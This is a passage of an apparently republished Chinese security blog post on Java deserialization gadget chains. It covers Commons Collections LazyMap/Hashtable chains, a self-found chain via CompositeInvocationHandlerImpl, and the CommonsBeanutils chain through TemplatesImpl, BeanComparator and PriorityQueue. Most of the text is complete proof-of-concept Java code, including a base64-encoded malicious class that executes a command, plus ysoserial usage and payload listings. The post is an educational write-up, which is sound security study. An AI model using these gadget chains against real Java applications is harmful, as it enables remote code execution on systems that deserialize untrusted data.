HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("}~", null);
hashMap2.put("heihu577", null); // 防止后面 put 时, 无法进入 addEntry 方法, 所以这里需要随机 put 一个字符串
// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);
Hashtable<LazyMap, Object> evilTable = new Hashtable<>();
evilTable.put(lazyMap1, 1);
evilTable.put(lazyMap2, 1); // put 完毕后, 没有进入 addEntry, 因为 "heihu577".hashCode() != "}~".hashCode()
hashMap2.remove("heihu577"); // put 完毕了, 程序不报错, heihu577 没有用了, 移除掉
hashMap2.put("~_", null); // 塞入与 }~ 字符串 hashCode 相同的值, 准备序列化
serialize(evilTable);
unserialize();
}
public static void serialize(Object o) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
运行弹出计算器.
手动挖一个 CC 链
通过上述知识体系, 笔者在这随意挖出一条新的链路, 如下:
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
});
HashMap<Object, Object> hsmap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hsmap, chainedTransformer);
CompositeInvocationHandlerImpl compositeInvocationHandler = new CompositeInvocationHandlerImpl();
Field classToInvocationHandler = compositeInvocationHandler.getClass().getDeclaredField("classToInvocationHandler");
classToInvocationHandler.setAccessible(true);
classToInvocationHandler.set(compositeInvocationHandler, lazyMap);
Object o = Proxy.newProxyInstance(classToInvocationHandler.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), compositeInvocationHandler);
BadAttributeValueExpException resultObj = new BadAttributeValueExpException(null);
Field val = resultObj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(resultObj, o);
serialize(resultObj);
unserialize();
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("D:/heihu577.ser")));
oos.writeObject(o);
}
public static void unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/heihu577.ser")));
ois.readObject();
}
当然感兴趣的可以自己去调试.
CC链总结图
从网上沾来的一篇总结图, 很不错, 收藏用.
很多链路都是部分重复的, 只是有些地方略有区别.
Commons Beanutils
CommonsBeanutils 是应用于 JavaBean 的工具,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法
前置环境准备
俗称cb
链, 我们首先准备pom.xml
, 文件内容如下:
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
</dependencies>
下面来看一下CB
的简单使用, 准备Main
:
public class MainApp {
public static void main(String[] args) throws Exception {
Person person = new Person(); // 创建一个 Person 对象
person.setName("hacker"); // 设置 Person 对象名称
String name = (String) PropertyUtils.getProperty(person, "name"); // 得到名称, 等同于 person.getName()
System.out.println(name);
}
}
public class Person {
private String name;
public String getName() { // 准备 getter
return name;
}
public void setName(String name) { // 准备 setter
this.name = name;
}
}
可以看到CB
的使用还是很简单的, 下面来分析一下这个方法.
PropertyUtils.getProperty 调用链分析
PropertyUtils.getProperty(person, "name")
执行链是这样的: 传入 name -> 找到getName
方法 -> 通过反射调用 person 对象的getName
方法.
所以当一个类存在getXxx
方法时, 我们可以通过PropertyUtils.getProperty(对象,"xxx")
进行调用对象.getXxx
方法.
而我们Xalan ClassLoader
利用中,TemplatesImpl::getOutputProperties
方法是整个Xalan ClassLoader
利用的起点, 而它刚好符合我们上述逻辑, 测试如下:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer(); 现在不使用 newTransformer 进行调用了, 使用 getOutputProperties 进行调用
// templates.getOutputProperties(); // 运行可弹计算器, 下面使用 CB 链触发
PropertyUtils.getProperty(templates, "outputProperties"); // 同样可以弹出计算器
}
那么对于现在场景来说,PropertyUtils.getProperty(可控,可控)
是危险的调用, 那么谁调用了PropertyUtils.getProperty
, 并且参数可控?
BeanComparator::compare 链式调用
继续Alt+F7
查看调用位置, 结果发现了BeanComparator::compare
方法中调用了PropertyUtils.getProperty(可控,可控)
, 如图:
但是目前我们还不能调用该类, 该类依赖于CC链, 但该类的pom.xml
文件中, 定义了<optional>true</optional>
不传递依赖, 则意味着不会将CC
引入到我们环境下, 如下:
那么我们构造 POC 时, 构造函数不能走到ComparableComparator.getInstance
, 因为我们当前并没有CC环境
, 所以我们只能通过传递一个Comparator
从而进入BeanComparator(String,Comparator)
的第一条if语句中, 这样就可以避开ComparableComparator
类的加载.
构造如下POC
:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
运行则弹出计算器.
PriorityQueue 链式调用
在我们之前研究CC链时, 发现一个调用compare
方法的类:
而这个PriorityQueue.readObject
方法调用xxx.compare(参数1,参数2)
时, 是可控的, 所以在这里我们可以利用该类, 调用我们的BeanComparator::compare
方法.
那么准备如下 POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
priorityQueue.add(templates);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);
serialize(comparator);
deserialize();
}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}
public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}
但是运行时, 会爆出无法序列化的错误, 因为我们传入的new Comparator(){}
这个匿名类, 是不支持序列化的.
由于我们当前的操作也是为了防止程序报错, 我们这里有两个解决方案:
-
传入 new Comparator(){}
, 但是在序列化之前, 我们通过反射, 将comparator
设置为null就行了, 因为 null 是支持序列化的. -
传入一个支持序列化的 Comparator
, 这个Comparator
需要我们自己去找.
反射设置 BeanComparator.comparator 为 null && 修改 PriorityQueue.size 大小防止进入链路
最终 POC 如下:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator.
Field comparator = beanComparator.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(beanComparator, null); // 由于 Comparator 不支持序列化, 所以在序列化时, 会报错, 所以我们在这里将其改为null, 为了支持序列化.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}
public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}
寻找可利用的 Comparator && 修改 size 大小防止进入链路
寻找可序列化的Comparator
, 笔者在这里找到了LayoutComparator
, 如图:
那么我们完全可以使用这个Comparator
, 构造POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAZgoADwA0BwA1CgA2ADcKADgAOQoAOgA7CgA8AD0JAD4APwoAQABBCgBCAEMIAEQKAEIARQcARgcARwoADQBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNMY29tL2hlaWh1NTc3L2V2aWw7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWphdmFDbGFzcwEANkxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcARgEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMABAAEQEAEWNvbS9oZWlodTU3Ny9ldmlsBwBMDABNAE4HAE8MAFAAUwcAVAwAVQBWBwBXDABYAFkHAFoMAFsAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABAAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAOZW5jb2RlVG9TdHJpbmcBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAIADwAAAAAABQABABAAEQABABIAAAAvAAEAAQAAAAUqtwABsQAAAAIAEwAAAAYAAQAAAA0AFAAAAAwAAQAAAAUAFQAWAAAACQAXABgAAgASAAAAYwACAAMAAAAZEgK4AANMuAAEK7YABbYABk2yAAcstgAIsQAAAAIAEwAAABIABAAAABcABgAYABEAGQAYABoAFAAAACAAAwAAABkAGQAaAAAABgATABsAHAABABEACAAdAB4AAgAfAAAABAABACAAAQAhACIAAgASAAAAPwAAAAMAAAABsQAAAAIAEwAAAAYAAQAAAB8AFAAAACAAAwAAAAEAFQAWAAAAAAABACMAJAABAAAAAQAlACYAAgAfAAAABAABACcAAQAhACgAAgASAAAASQAAAAQAAAABsQAAAAIAEwAAAAYAAQAAACQAFAAAACoABAAAAAEAFQAWAAAAAAABACMAJAABAAAAAQApACoAAgAAAAEAKwAsAAMAHwAAAAQAAQAnAAgALQARAAEAEgAAAGYAAwABAAAAF7gACRIKtgALV6cADUu7AA1ZKrcADr+xAAEAAAAJAAwADAADABMAAAAWAAUAAAAQAAkAEwAMABEADQASABYAFAAUAAAADAABAA0ACQAuAC8AAAAwAAAABwACTAcAMQkAAgAyAAAAAgAzAFIAAAAKAAEAPAA4AFEACQ=="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}
public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}
ysoserial 反序列化链路工具
工具链接: https://github.com/frohoff/ysoserial 该工具是一个成熟的反序列化链路工具, 该工具记载了市面上爆出的反序列化漏洞链路.
使用方法:
E:LanguageJavajdk1.8bin>.java -jar "C:UsersAdministratorDesktopysoserial-all.jar"
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
九月 25, 2024 9:42:40 下午 org.reflections.Reflections scan
信息: Reflections took 120 ms to scan 1 urls, producing 18 keys and 153 values
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
E:LanguageJavajdk1.8bin>.java -jar "C:UsersAdministratorDesktopysoserial-all.jar" CommonsCollections1 "calc" > D:/evil.bin
最终D盘会生成evil.bin
, 内容则是已经弄好的序列化二进制文件. 当然因为serialVersionUID
的原因, 有时ysoserial
可能会打失败, 但是这些都无所谓, 工具好就好在将市面上常见的链路总结在一起了. 版本不符合自己调试一下链路, 手动生成一下EXP也是可以的.
Ending...
本次反序列化漏洞衔接上了另一篇《JAVA安全 | Classloader:理解与利用一篇就够了》中Xalan ClassLoader
的妙用, 当然只有链路肯定是不行的, 后续在讲解触发点的时候, 笔者将带领大家从Shiro
底层源码, 一步一步分析Shiro
的漏洞, 敬请期待!
原文始发于微信公众号(Heihu Share):Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论